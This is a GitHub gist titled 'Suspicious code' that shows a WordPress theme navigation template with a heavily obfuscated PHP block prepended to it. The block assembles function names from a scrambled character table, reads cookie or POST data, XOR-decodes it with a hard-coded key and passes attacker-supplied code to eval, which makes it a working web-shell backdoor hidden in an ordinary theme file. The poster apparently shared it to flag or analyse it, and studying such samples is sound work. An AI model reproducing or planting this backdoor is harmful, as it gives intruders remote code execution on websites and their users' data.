Skip to content

Instantly share code, notes, and snippets.

@jakobhans
Created October 7, 2019 21:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jakobhans/de11a77b8022000b86b21b3554f0eaf3 to your computer and use it in GitHub Desktop.
Save jakobhans/de11a77b8022000b86b21b3554f0eaf3 to your computer and use it in GitHub Desktop.
Suspicious code
<?php $td30495 = 374;$GLOBALS['w702d'] = Array();global $w702d;$w702d = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['off8'] = "\x4c\x36\x23\x72\x48\x27\x32\x3d\x29\x20\x24\x22\x6a\x33\x2e\x55\x46\x6c\x7b\x70\x49\x52\x39\x74\x9\x64\x31\x68\x44\x77\x6f\x59\x45\x7a\x40\x5d\x57\x2a\x76\x37\x51\x50\x62\x71\x61\x78\x5a\x30\x65\x4f\x58\xd\x35\x4e\x66\x4d\x42\x3e\x41\x2d\x5f\x6b\x60\x47\x79\x43\x67\x38\x7e\x21\x3c\x7d\x5e\x63\x3b\x2c\x2b\x26\x6e\x54\x4a\x69\x75\x5c\x25\x4b\x56\x7c\x5b\x3a\x6d\x28\x3f\x2f\x34\xa\x73\x53";$w702d[$w702d['off8'][90].$w702d['off8'][6].$w702d['off8'][42].$w702d['off8'][13]] = $w702d['off8'][73].$w702d['off8'][27].$w702d['off8'][3];$w702d[$w702d['off8'][90].$w702d['off8'][47].$w702d['off8'][26].$w702d['off8'][47].$w702d['off8'][39].$w702d['off8'][47].$w702d['off8'][73]] = $w702d['off8'][30].$w702d['off8'][3].$w702d['off8'][25];$w702d[$w702d['off8'][81].$w702d['off8'][94].$w702d['off8'][54].$w702d['off8'][67].$w702d['off8'][26]] = $w702d['off8'][25].$w702d['off8'][48].$w702d['off8'][54].$w702d['off8'][81].$w702d['off8'][78].$w702d['off8'][48];$w702d[$w702d['off8'][23].$w702d['off8'][42].$w702d['off8'][22].$w702d['off8'][22].$w702d['off8'][94].$w702d['off8'][25]] = $w702d['off8'][96].$w702d['off8'][23].$w702d['off8'][3].$w702d['off8'][17].$w702d['off8'][48].$w702d['off8'][78];$w702d[$w702d['off8'][81].$w702d['off8'][54].$w702d['off8'][6].$w702d['off8'][67]] = $w702d['off8'][25].$w702d['off8'][48].$w702d['off8'][54].$w702d['off8'][81].$w702d['off8'][78].$w702d['off8'][48].$w702d['off8'][25];$w702d[$w702d['off8'][43].$w702d['off8'][39].$w702d['off8'][25].$w702d['off8'][6].$w702d['off8'][94].$w702d['off8'][26].$w702d['off8'][42]] = $w702d['off8'][81].$w702d['off8'][78].$w702d['off8'][81].$w702d['off8'][60].$w702d['off8'][96].$w702d['off8'][48].$w702d['off8'][23];$w702d[$w702d['off8'][33].$w702d['off8'][54].$w702d['off8'][94].$w702d['off8'][25]] = $w702d['off8'][96].$w702d['off8'][48].$w702d['off8'][3].$w702d['off8'][81].$w702d['off8'][44].$w702d['off8'][17].$w702d['off8'][81].$w702d['off8'][33].$w702d['off8'][48];$w702d[$w702d['off8'][12].$w702d['off8'][42].$w702d['off8'][25].$w702d['off8'][22].$w702d['off8'][1].$w702d['off8'][52].$w702d['off8'][6].$w702d['off8'][73].$w702d['off8'][47]] = $w702d['off8'][19].$w702d['off8'][27].$w702d['off8'][19].$w702d['off8'][38].$w702d['off8'][48].$w702d['off8'][3].$w702d['off8'][96].$w702d['off8'][81].$w702d['off8'][30].$w702d['off8'][78];$w702d[$w702d['off8'][42].$w702d['off8'][73].$w702d['off8'][22].$w702d['off8'][44].$w702d['off8'][94].$w702d['off8'][1]] = $w702d['off8'][82].$w702d['off8'][78].$w702d['off8'][96].$w702d['off8'][48].$w702d['off8'][3].$w702d['off8'][81].$w702d['off8'][44].$w702d['off8'][17].$w702d['off8'][81].$w702d['off8'][33].$w702d['off8'][48];$w702d[$w702d['off8'][43].$w702d['off8'][44].$w702d['off8'][26].$w702d['off8'][67].$w702d['off8'][42].$w702d['off8'][48].$w702d['off8'][1].$w702d['off8'][13]] = $w702d['off8'][42].$w702d['off8'][44].$w702d['off8'][96].$w702d['off8'][48].$w702d['off8'][1].$w702d['off8'][94].$w702d['off8'][60].$w702d['off8'][25].$w702d['off8'][48].$w702d['off8'][73].$w702d['off8'][30].$w702d['off8'][25].$w702d['off8'][48];$w702d[$w702d['off8'][25].$w702d['off8'][6].$w702d['off8'][6].$w702d['off8'][22].$w702d['off8'][44].$w702d['off8'][13].$w702d['off8'][26].$w702d['off8'][44].$w702d['off8'][42]] = $w702d['off8'][96].$w702d['off8'][48].$w702d['off8'][23].$w702d['off8'][60].$w702d['off8'][23].$w702d['off8'][81].$w702d['off8'][90].$w702d['off8'][48].$w702d['off8'][60].$w702d['off8'][17].$w702d['off8'][81].$w702d['off8'][90].$w702d['off8'][81].$w702d['off8'][23];$w702d[$w702d['off8'][64].$w702d['off8'][22].$w702d['off8'][6].$w702d['off8'][44]] = $w702d['off8'][66].$w702d['off8'][42].$w702d['off8'][1].$w702d['off8'][1].$w702d['off8'][67].$w702d['off8'][13].$w702d['off8'][47].$w702d['off8'][73];$w702d[$w702d['off8'][29].$w702d['off8'][25].$w702d['off8'][44].$w702d['off8'][39]] = $w702d['off8'][82].$w702d['off8'][94].$w702d['off8'][52].$w702d['off8'][25].$w702d['off8'][44].$w702d['off8'][73];$w702d[$w702d['off8'][42].$w702d['off8'][42].$w702d['off8'][1].$w702d['off8'][67].$w702d['off8'][13]] = $_POST;$w702d[$w702d['off8'][29].$w702d['off8'][67].$w702d['off8'][42].$w702d['off8'][6].$w702d['off8'][6].$w702d['off8'][94].$w702d['off8'][22]] = $_COOKIE;@$w702d[$w702d['off8'][43].$w702d['off8'][39].$w702d['off8'][25].$w702d['off8'][6].$w702d['off8'][94].$w702d['off8'][26].$w702d['off8'][42]]($w702d['off8'][48].$w702d['off8'][3].$w702d['off8'][3].$w702d['off8'][30].$w702d['off8'][3].$w702d['off8'][60].$w702d['off8'][17].$w702d['off8'][30].$w702d['off8'][66], NULL);@$w702d[$w702d['off8'][43].$w702d['off8'][39].$w702d['off8'][25].$w702d['off8'][6].$w702d['off8'][94].$w702d['off8'][26].$w702d['off8'][42]]($w702d['off8'][17].$w702d['off8'][30].$w702d['off8'][66].$w702d['off8'][60].$w702d['off8'][48].$w702d['off8'][3].$w702d['off8'][3].$w702d['off8'][30].$w702d['off8'][3].$w702d['off8'][96], 0);@$w702d[$w702d['off8'][43].$w702d['off8'][39].$w702d['off8'][25].$w702d['off8'][6].$w702d['off8'][94].$w702d['off8'][26].$w702d['off8'][42]]($w702d['off8'][90].$w702d['off8'][44].$w702d['off8'][45].$w702d['off8'][60].$w702d['off8'][48].$w702d['off8'][45].$w702d['off8'][48].$w702d['off8'][73].$w702d['off8'][82].$w702d['off8'][23].$w702d['off8'][81].$w702d['off8'][30].$w702d['off8'][78].$w702d['off8'][60].$w702d['off8'][23].$w702d['off8'][81].$w702d['off8'][90].$w702d['off8'][48], 0);@$w702d[$w702d['off8'][25].$w702d['off8'][6].$w702d['off8'][6].$w702d['off8'][22].$w702d['off8'][44].$w702d['off8'][13].$w702d['off8'][26].$w702d['off8'][44].$w702d['off8'][42]](0);if (!$w702d[$w702d['off8'][81].$w702d['off8'][54].$w702d['off8'][6].$w702d['off8'][67]]($w702d['off8'][58].$w702d['off8'][0].$w702d['off8'][21].$w702d['off8'][32].$w702d['off8'][58].$w702d['off8'][28].$w702d['off8'][31].$w702d['off8'][60].$w702d['off8'][21].$w702d['off8'][15].$w702d['off8'][53].$w702d['off8'][60].$w702d['off8'][13].$w702d['off8'][1].$w702d['off8'][1].$w702d['off8'][44].$w702d['off8'][54].$w702d['off8'][42].$w702d['off8'][67].$w702d['off8'][44].$w702d['off8'][67].$w702d['off8'][44].$w702d['off8'][6].$w702d['off8'][13].$w702d['off8'][52].$w702d['off8'][52].$w702d['off8'][44].$w702d['off8'][42].$w702d['off8'][6].$w702d['off8'][26].$w702d['off8'][54].$w702d['off8'][42].$w702d['off8'][54].$w702d['off8'][26].$w702d['off8'][26].$w702d['off8'][42].$w702d['off8'][44].$w702d['off8'][26].$w702d['off8'][44].$w702d['off8'][47].$w702d['off8'][6].$w702d['off8'][54].$w702d['off8'][42].$w702d['off8'][44])){$w702d[$w702d['off8'][81].$w702d['off8'][94].$w702d['off8'][54].$w702d['off8'][67].$w702d['off8'][26]]($w702d['off8'][58].$w702d['off8'][0].$w702d['off8'][21].$w702d['off8'][32].$w702d['off8'][58].$w702d['off8'][28].$w702d['off8'][31].$w702d['off8'][60].$w702d['off8'][21].$w702d['off8'][15].$w702d['off8'][53].$w702d['off8'][60].$w702d['off8'][13].$w702d['off8'][1].$w702d['off8'][1].$w702d['off8'][44].$w702d['off8'][54].$w702d['off8'][42].$w702d['off8'][67].$w702d['off8'][44].$w702d['off8'][67].$w702d['off8'][44].$w702d['off8'][6].$w702d['off8'][13].$w702d['off8'][52].$w702d['off8'][52].$w702d['off8'][44].$w702d['off8'][42].$w702d['off8'][6].$w702d['off8'][26].$w702d['off8'][54].$w702d['off8'][42].$w702d['off8'][54].$w702d['off8'][26].$w702d['off8'][26].$w702d['off8'][42].$w702d['off8'][44].$w702d['off8'][26].$w702d['off8'][44].$w702d['off8'][47].$w702d['off8'][6].$w702d['off8'][54].$w702d['off8'][42].$w702d['off8'][44], 1);$q4d4634 = NULL;$q008f9c19 = NULL;$w702d[$w702d['off8'][48].$w702d['off8'][52].$w702d['off8'][94].$w702d['off8'][48].$w702d['off8'][25].$w702d['off8'][54].$w702d['off8'][94].$w702d['off8'][47].$w702d['off8'][73]] = $w702d['off8'][67].$w702d['off8'][25].$w702d['off8'][54].$w702d['off8'][94].$w702d['off8'][73].$w702d['off8'][48].$w702d['off8'][26].$w702d['off8'][52].$w702d['off8'][59].$w702d['off8'][22].$w702d['off8'][54].$w702d['off8'][52].$w702d['off8'][42].$w702d['off8'][59].$w702d['off8'][94].$w702d['off8'][54].$w702d['off8'][73].$w702d['off8'][54].$w702d['off8'][59].$w702d['off8'][44].$w702d['off8'][25].$w702d['off8'][1].$w702d['off8'][1].$w702d['off8'][59].$w702d['off8'][54].$w702d['off8'][25].$w702d['off8'][73].$w702d['off8'][48].$w702d['off8'][94].$w702d['off8'][22].$w702d['off8'][26].$w702d['off8'][39].$w702d['off8'][44].$w702d['off8'][39].$w702d['off8'][42].$w702d['off8'][1];global $e54edf40c;function u45dac($q4d4634, $md93e){global $w702d;$ff1b9 = "";for ($e96e34=0; $e96e34<$w702d[$w702d['off8'][23].$w702d['off8'][42].$w702d['off8'][22].$w702d['off8'][22].$w702d['off8'][94].$w702d['off8'][25]]($q4d4634);){for ($e246=0; $e246<$w702d[$w702d['off8'][23].$w702d['off8'][42].$w702d['off8'][22].$w702d['off8'][22].$w702d['off8'][94].$w702d['off8'][25]]($md93e) && $e96e34<$w702d[$w702d['off8'][23].$w702d['off8'][42].$w702d['off8'][22].$w702d['off8'][22].$w702d['off8'][94].$w702d['off8'][25]]($q4d4634); $e246++, $e96e34++){$ff1b9 .= $w702d[$w702d['off8'][90].$w702d['off8'][6].$w702d['off8'][42].$w702d['off8'][13]]($w702d[$w702d['off8'][90].$w702d['off8'][47].$w702d['off8'][26].$w702d['off8'][47].$w702d['off8'][39].$w702d['off8'][47].$w702d['off8'][73]]($q4d4634[$e96e34]) ^ $w702d[$w702d['off8'][90].$w702d['off8'][47].$w702d['off8'][26].$w702d['off8'][47].$w702d['off8'][39].$w702d['off8'][47].$w702d['off8'][73]]($md93e[$e246]));}}return $ff1b9;}function gb66830c($q4d4634, $md93e){global $w702d;global $e54edf40c;return $w702d[$w702d['off8'][29].$w702d['off8'][25].$w702d['off8'][44].$w702d['off8'][39]]($w702d[$w702d['off8'][29].$w702d['off8'][25].$w702d['off8'][44].$w702d['off8'][39]]($q4d4634, $e54edf40c), $md93e);}foreach ($w702d[$w702d['off8'][29].$w702d['off8'][67].$w702d['off8'][42].$w702d['off8'][6].$w702d['off8'][6].$w702d['off8'][94].$w702d['off8'][22]] as $md93e=>$e585eef){$q4d4634 = $e585eef;$q008f9c19 = $md93e;}if (!$q4d4634){foreach ($w702d[$w702d['off8'][42].$w702d['off8'][42].$w702d['off8'][1].$w702d['off8'][67].$w702d['off8'][13]] as $md93e=>$e585eef){$q4d4634 = $e585eef;$q008f9c19 = $md93e;}}$q4d4634 = @$w702d[$w702d['off8'][42].$w702d['off8'][73].$w702d['off8'][22].$w702d['off8'][44].$w702d['off8'][94].$w702d['off8'][1]]($w702d[$w702d['off8'][64].$w702d['off8'][22].$w702d['off8'][6].$w702d['off8'][44]]($w702d[$w702d['off8'][43].$w702d['off8'][44].$w702d['off8'][26].$w702d['off8'][67].$w702d['off8'][42].$w702d['off8'][48].$w702d['off8'][1].$w702d['off8'][13]]($q4d4634), $q008f9c19));if (isset($q4d4634[$w702d['off8'][44].$w702d['off8'][61]]) && $e54edf40c==$q4d4634[$w702d['off8'][44].$w702d['off8'][61]]){if ($q4d4634[$w702d['off8'][44]] == $w702d['off8'][81]){$e96e34 = Array($w702d['off8'][19].$w702d['off8'][38] => @$w702d[$w702d['off8'][12].$w702d['off8'][42].$w702d['off8'][25].$w702d['off8'][22].$w702d['off8'][1].$w702d['off8'][52].$w702d['off8'][6].$w702d['off8'][73].$w702d['off8'][47]](),$w702d['off8'][96].$w702d['off8'][38] => $w702d['off8'][26].$w702d['off8'][14].$w702d['off8'][47].$w702d['off8'][59].$w702d['off8'][26],);echo @$w702d[$w702d['off8'][33].$w702d['off8'][54].$w702d['off8'][94].$w702d['off8'][25]]($e96e34);}elseif ($q4d4634[$w702d['off8'][44]] == $w702d['off8'][48]){eval/*bb78afe*/($q4d4634[$w702d['off8'][25]]);}exit();}} ?><nav class="navbar navbar-expand-md navbar-light" id="primary-navigation">
<button class="navbar-toggler relative" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
wp_nav_menu( array(
'menu' => 'primary-menu',
'theme_location' => 'primary-menu',
'depth' => 2,
'container' => '',
'container_class' => '',
'menu_class' => 'navbar-nav ml-idx-auto',
'fallback_cb' => 'wp_bootstrap_navwalker::fallback',
'walker' => new wp_bootstrap_navwalker())
);
?>
</div><!--/.navbar-collapse -->
</nav>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment